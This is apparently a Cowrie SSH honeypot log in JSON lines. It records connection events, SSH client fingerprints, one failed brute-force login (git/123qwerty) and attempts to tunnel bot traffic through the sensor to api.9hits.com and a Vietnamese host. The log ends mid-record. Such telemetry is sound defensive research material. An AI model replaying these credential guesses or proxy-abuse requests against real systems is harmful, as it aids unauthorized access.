{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:23.623355Z","src_ip":"91.92.40.36","session":"e30e2b49f5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:23.626663Z","src_ip":"91.92.40.36","session":"e30e2b49f5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.7","message":"Connection lost after 37.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:25.182628Z","src_ip":"173.208.188.210","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:26.714689Z","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:26.779429Z","src_ip":"23.175.50.51","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VnBifSgzZmgkU2JjaEdKUw%3D%3DN0HDS42%2BaFkYmBAcG6jPHzqnhXKA1KJ3ahd2T%2BZo75S72Ycuyot1boZQvN5km5l%2FLgJ%2BtIHWVfwODrixZ6WZWSOPsZlQ8pwQQCJFqyx2nUqoIWVJDReDq%2BoJSC3hxB2envTbOtRi4aE9JGYfEQhIcMjbOGieI2wTf3f1wnp6n6axfSWRKdjubxVbDbFVSLxodPt9R7uznNwIhXesWKaRY0O1lt9J61xLXxQVqJRUPKHA51yJ7OaQktXKIooxGUJ9Zqdpk%2Fu4iBDwRDRs8gpqD9RguZOETRpGsuyB9DJawLT%2BFltFSmT9Z%2BbeBxRvdFNMYVhzzdIUw3CG7EVu1K1IKXuloB%2FoQtDG5MsSswDN3W5v3qXKNEq%2FkZtfvC4XGwfz191uBg1gD5T3DB9vNtC%2FhdZI2TC0XEoNkFKJ1oXBSugl018K%2FN3UW2dPut%2FOdjLxIf1d672g%2FYr1kyg1QZLMQNbJyDMuBp8wyx9LJVP49ACxm9jPOw0tKbkMSmmVi1yNYOSfbAQ5Xm5UhkEdTxORYYv66%2BVNWygxxWJ4lWjAWCLz7lMNI7kF9n69lmRGxsWzJbG%2FWRNK6dfC9NL5WfWkcpDKjI%2BFdqjEXYIVxoSjM2%2BHBpCfZ4OvPdJVGc3lxW3gEX7ewOYAMwCJ7MmCI8r8BE0sHK44KjB%2B4u77FTymj5MHBCO2Rpc1tjrVSVCpF7J9UWbfPz8WEsu%2BvvC3ePoMi7SqjUAdHcsxaaBJj8EqRWBU5rl9U2bwZbITjI%2F7pw1KPCiSTgI1%2BvSERO5L74chQ01SDmJ9OyVIBvN4Oc8qubiuTxk9IuochkyIjCIdcT5fdp777kLyF4xF6cB4bzE4Dg5IZvEytui1kavTDnCoSEOcsfB%2BXMCWF5jButoUDcZgU6CZFLHK1TPYizljPWfj5JmavjK%2BdfgF3KYpEx3eyLQBh%2FMHxh9%2F9xeLajSY%2Bx338x%2FWa48S4b1ytni%2FvpiHSMubbMAXzn0vgJWsFyw%2BIimK0%2BJjIgVtIOg%2Fd1Tw3%2Ba8wdUKwfVCv40%2BJ%2Bl10IV6HPsqMlFvHo1jisJ3uvNqTPg%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VnBifSgzZmgkU2JjaEdKUw%3D%3DN0HDS42%2BaFkYmBAcG6jPHzqnhXKA1KJ3ahd2T%2BZo75S72Ycuyot1boZQvN5km5l%2FLgJ%2BtIHWVfwODrixZ6WZWSOPsZlQ8pwQQCJFqyx2nUqoIWVJDReDq%2BoJSC3hxB2envTbOtRi4aE9JGYfEQhIcMjbOGieI2wTf3f1wnp6n6axfSWRKdjubxVbDbFVSLxodPt9R7uznNwIhXesWKaRY0O1lt9J61xLXxQVqJRUPKHA51yJ7OaQktXKIooxGUJ9Zqdpk%2Fu4iBDwRDRs8gpqD9RguZOETRpGsuyB9DJawLT%2BFltFSmT9Z%2BbeBxRvdFNMYVhzzdIUw3CG7EVu1K1IKXuloB%2FoQtDG5MsSswDN3W5v3qXKNEq%2FkZtfvC4XGwfz191uBg1gD5T3DB9vNtC%2FhdZI2TC0XEoNkFKJ1oXBSugl018K%2FN3UW2dPut%2FOdjLxIf1d672g%2FYr1kyg1QZLMQNbJyDMuBp8wyx9LJVP49ACxm9jPOw0tKbkMSmmVi1yNYOSfbAQ5Xm5UhkEdTxORYYv66%2BVNWygxxWJ4lWjAWCLz7lMNI7kF9n69lmRGxsWzJbG%2FWRNK6dfC9NL5WfWkcpDKjI%2BFdqjEXYIVxoSjM2%2BHBpCfZ4OvPdJVGc3lxW3gEX7ewOYAMwCJ7MmCI8r8BE0sHK44KjB%2B4u77FTymj5MHBCO2Rpc1tjrVSVCpF7J9UWbfPz8WEsu%2BvvC3ePoMi7SqjUAdHcsxaaBJj8EqRWBU5rl9U2bwZbITjI%2F7pw1KPCiSTgI1%2BvSERO5L74chQ01SDmJ9OyVIBvN4Oc8qubiuTxk9IuochkyIjCIdcT5fdp777kLyF4xF6cB4bzE4Dg5IZvEytui1kavTDnCoSEOcsfB%2BXMCWF5jButoUDcZgU6CZFLHK1TPYizljPWfj5JmavjK%2BdfgF3KYpEx3eyLQBh%2FMHxh9%2F9xeLajSY%2Bx338x%2FWa48S4b1ytni%2FvpiHSMubbMAXzn0vgJWsFyw%2BIimK0%2BJjIgVtIOg%2Fd1Tw3%2Ba8wdUKwfVCv40%2BJ%2Bl10IV6HPsqMlFvHo1jisJ3uvNqTPg%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:26.783027Z","src_ip":"23.175.50.51","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123qwerty","message":"login attempt [git/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:27.718480Z","src_ip":"91.92.40.36","session":"e30e2b49f5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58338,"dst_ip":"159.203.135.109","dst_port":22,"session":"c857baa706d8","protocol":"ssh","message":"New connection: 91.92.40.36:58338 (159.203.135.109:22) [session: c857baa706d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:29.377870Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:30.236534Z","src_ip":"91.92.40.36","session":"e30e2b49f5c6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:30.594943Z","src_ip":"91.92.40.36","session":"c857baa706d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:30.597917Z","src_ip":"91.92.40.36","session":"c857baa706d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":50091,"dst_ip":"10.17.0.5","dst_port":22,"session":"b749fa4d318d","protocol":"ssh","message":"New connection: 23.148.145.132:50091 (10.17.0.5:22) [session: b749fa4d318d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:30.751099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:30.755362Z","src_ip":"23.148.145.132","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:30.848250Z","src_ip":"23.148.145.132","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:32.322976Z","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:32.382351Z","src_ip":"23.175.50.51","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\x8d\\xa3\\xf4\\xeb\\xdb8\\x99\\xcc\\xdb;ll\\xe7N\\xb0\\x04m1\\x96J\\xdf^C\\x0e\\xbd\\x19\\xc1\\xf4\\x9e\\x14+ z\\xdf)\\xa5}\\xa2\\xbb\\xe6\\xdf\\xfe\\x9b\\xf88\\xd9\\xdf\\xe2%\\xa8\\x1ae\\xfb\\x93{\\xf9\\xa1\\x94\\xe3\\xd5\\x07\\xd7\\x12\\xe1\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd6<!I>\\x19\\xbd\\xc2\\xd8\\xc2p\\xe7*\\x87\\xe7\\x92~\\xdb\\xa2\\x0cl\\x9ags\\x83X\\xfa+\\xd3Z\\xcaK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\x8d\\xa3\\xf4\\xeb\\xdb8\\x99\\xcc\\xdb;ll\\xe7N\\xb0\\x04m1\\x96J\\xdf^C\\x0e\\xbd\\x19\\xc1\\xf4\\x9e\\x14+ z\\xdf)\\xa5}\\xa2\\xbb\\xe6\\xdf\\xfe\\x9b\\xf88\\xd9\\xdf\\xe2%\\xa8\\x1ae\\xfb\\x93{\\xf9\\xa1\\x94\\xe3\\xd5\\x07\\xd7\\x12\\xe1\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd6<!I>\\x19\\xbd\\xc2\\xd8\\xc2p\\xe7*\\x87\\xe7\\x92~\\xdb\\xa2\\x0cl\\x9ags\\x83X\\xfa+\\xd3Z\\xcaK\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:32.387321Z","src_ip":"23.175.50.51","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:32.754910Z","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:32.813737Z","src_ip":"23.175.50.51","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa^\\xcd7\\x13j35\\xa9\\x9a\\xf5\\x95\\\\\\xbd\\xdd/?\\xe3$\\x89_\\xe3\"fZ\\x00]\\x9c\\x84i\\xe8\\x9d \\xdc\\t\\xfeu\\x99\\x824$#(\\xfe0\\xd9y\\xcb\\xe6\\x1c;[\\x12vA\\xef8_\\x83B,\\xfa\\xe27\\xe8\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 `u!\\xb7}\\x12\\xa9v\\xa40D|Pa\\xd7\\x96\\xe3i\\xb8\\x158\\xcd0\\xca\"\\xb4\\xad*\\xb8\\xceL\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data 